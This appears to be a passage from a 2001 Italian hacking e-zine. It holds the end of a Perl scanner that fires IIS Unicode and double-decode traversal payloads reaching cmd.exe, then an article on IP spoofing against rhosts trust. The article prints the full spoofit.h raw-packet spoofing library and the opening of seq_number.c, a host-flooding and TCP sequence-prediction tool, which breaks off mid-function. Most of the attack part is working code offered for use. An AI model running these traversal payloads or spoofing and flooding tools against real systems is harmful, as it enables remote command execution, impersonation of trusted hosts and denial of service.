# Usage: decodecheck IP:port
#
# Roelof Temmingh 2001/05/15
# roelof@sensepost.com http://www.sensepost.com
# new Release From TDI110CV ~ ONDAQUADRA.CJB.NET ~
#


$|=1;
@unis=(
"/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/scripts/.%255e/.%255e/winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir",
"/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%255c../winnt/system32/cmd.exe?/c+dir ",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir");

use Socket;
# --------------init
if ($#ARGV<0) {die "Usage: decodecheck IP:port\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "Testing $host:$port : ";
$target = inet_aton($host);
$flag=0;

foreach $uni (@unis){
print ".";
my @results=sendraw("GET $uni HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {print "Not safe:\n $uni\n"; $flag=1;}
}
}

# ---------------result
if ($flag==1){print "The system is Vulnerable ... good look \n";}
else {print "The system is Safe...Sorry ! Ie tutti cassi toi\n";}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata decodecheck
_______________________
Taiia acchi' !

Bene anche per stavolta ho terminato. Buona fortuna a tutti e soprattutto
buone ferie.
Ciao dal Vostro TDI110CV ! Sappiatemi dire che cosa ne pensate.

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| iP SP00FiNG ........................................ [DarkAngel999] 0x0D/0x25 |
+-------------------------------------------------------------------------------+

Intro
Un okkiata generale
Skematizzando
Librerie
Toolz

Intro
In questo artikolo cerkero' di spiegarvi kos'e' l'ipspoofing, a kosa serve, kome funziona e kome si attua, direi ke il
livello di preparazione "konsigliato" per leggere questo artikolo e' pressoke' nullo, buona lettura;)

Un okkiata generale

In un sistema Unix-like esistono delle autentikazioni d'accesso basate sull'indirizzo ip di un host
quale ad esempio l'autentikazione rhosts ke permette agli host "fidati" di accedere ai serivizi r
(rlogin,rsh,rcp,rcmd) senza specifikare una password, gli host fidati nel file .rhosts si presentano
ad esempio kosi':

ciccio.kls.it dark
ciccio2.kls.it dark2

Questi 2 utenti (dark e dark2) potranno quindi accedere ai servizi r senza specifikare una password
essendo degli host "fidati".
Tutto quello ke dovremmo fare dunque per accedere a questo sistema starebbe nel falsifikare
l'indirizzo sorgente impersonando uno di questi 2 utenti dobbiamo pero' prima kapire kome
funzionano le komunikazioni tra gli host. Prima ke una konnessione tra 2 host possa porsi un uno
stato di "estabilished" c'e' uno skambio di informazioni tra i 2, kolui ke rikiede la konnessione
invia un pakketto al destinatario, negli header di questo pakketto si trovano l'indirizzo ip
sorgente, un numero di ack, un sequence number, numero della porta d'origine, il numero della porta
di destinazione etc., una volta giunto a destinazione il destinatario definisce una sequenza
numerika iniziale, questa sequenza numerika viene inkrementata di 128 ogni sekondo e di 64 dopo
ke ogni konnessione inizia, il destinatario mandera' dunque il pakketto kontenente la sequenza
numerika iniziale all'host ke aveva rikiesto la konnessione e una volta ricevuta una risposta
"korretta" la konnessione verra' stabilita.
Questo kome si puo' facilmente kapire rappresenterebbe un problema dato ke se ci "spacciassimo"
per un altro host falsifikando l'indirizzo ip d'origine il destinatario del pakketto manderebbe
la "risposta" kontenente la sequenza numerika iniziale a quell'ip e nn a noi ke abbiamo falsifikato
l'indirizzo ip d'origine quindi dovremo "indovinare" la sequenza numerika iniziale in modo da
poter kontinuare a "dialogare" kon l'host di destinazione una volta indovinata la sequenza numerika
iniziale la konnessione potra' essere kompletata e avremo raggiunto il nostro skopo.

Skematizzando
Se dovessimo skematizzare velocemente un attakko nel quale A e' l'hacker, B e' kolui a kui rikiediamo
la konnessione e C e' l'host fidato ke vogliamo impersonare potremmo farlo kosi':
A rikirede una konnessione a B kontenente l'ip di C;
A flodda C impedendogli di rispondere alla rikiesta di B;
B manda la "risposta" a C e rimane in attesa, ma C nn puo' rispondere perke' lo stiamo floddando:D
A questo punto dobbiamo indovinare la sequenza numerika ke era kontenuta il quel pakketto "perso"
una volta fatto potremo kontinuare a dialogare kon B;
Per "indovinare" la sequenza numerika iniziale ci vengono inkontro degli strumenti kome ad esempio seq_number.c
ke vediamo in seguito.

Librerie

Spoofit.h e' una libreria ke ci permette di inkludere "lo spoofing" nei nostri programmi:


-----------------------------------------------taglia qui------------------------------------------
#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"

#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */

#define IO_HANDLE 1
#define IO_NONBLOCK 2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/

struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};

/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};

struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};

struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};

struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};

struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};

/* data structure for argument passing */

struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;

char *buffer; /* work buffer */

int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};

/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
return inet_addr(sp_name);

for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);

#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};

sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);

memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero

  
_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

/************************* Receiving department ****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}

if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
};
};

#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}

while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0) /* skip this packet */
return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));

rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));

if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}

void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;

RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}

-----------------------------------------------taglia qui------------------------------------------
Toolz utili
Esistono vari programmi ke ci vengono inkontro, spoffano l'ip sorgente, analizzano la sequenza
numerika generata dall'host a kui rikiediamo la konnessione e fanno un progniostiko cirka
l'inkremento della sequenza numerika, tra i vari esistenti il mio prediletto e' mendax ke potrete
trovare su rootshell per quanto riguarda l'uso leggetevi il man:D
Se vi interessa l'argomento leggetevi i kommenti nel sorgente di seq_number.c ke vi riporto qui
sotto.
-------------------------------------------------------taglia qui-----------------------------------
/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
* for any non-commercial purpose, and this message and the contact
* information must remain intact. For commercial purposes, you MUST contact
* us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
* available from: ftp://aeneas.mit.edu/pub/gnu/
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* Mike Neuman
* En Garde Systems
* 525 Clara Avenue, Suite 202
* St. Louis, MO 63112
* mcn@EnGarde.com
*/


#include <stdio.h>
#include <setjmp.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <netdb.h>

#include "ipbpf.h" /* Include ipbpf header */

#define BADHOST "16.17.18.19"
/* The host to spoof flooding the trusted
* host's destination port from. This host shouldn't exist, but should have
* correct routing entries. The important part is so that returned packets
* go to nowhere.
*/


#define NUMSEQUENCE 80
/* The number of connections to spoof from BADHOST. I made this big.
* I've found 4.4BSD will be flooded with only 8 unacked connections. Your
* mileage may vary
*/


#define NUMTESTS 10
/* How many samples of the sequence numbers do you want to take?
* I randomly picked 10 and only take the last result. If I wanted to be
* elegant, I'd do some sort of statistical average. Sequence numbers
* are generally updated by a fixed number, this attempts to compute
* this number taking into account average network lag. Fixed sequence
* number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
* probably others, although I haven't tested them.
*/


#define ROUTER "router.EnGarde.com"
/* The name of your router to the outside world. Spoofed packets need to
* be sent to it's ether/fddi address in order to get to the outside world.
*/


main(argc, argv)
int argc;
char *argv[];

{
struct hostent *he;
u_long trust_addr, targ_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
u_long next_seq, offset;

if (argc!=3) {
fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
exit(1);
}
if ((he=gethostbyname(argv[1]))==NULL) {
trust_addr=inet_addr(argv[1]);
if (trust_addr==(u_long)-1) {
fprintf(stderr, "Unknown host %s\n", argv[1]);
exit(1);
}
} else
bcopy(he->h_addr, &trust_addr, 4);

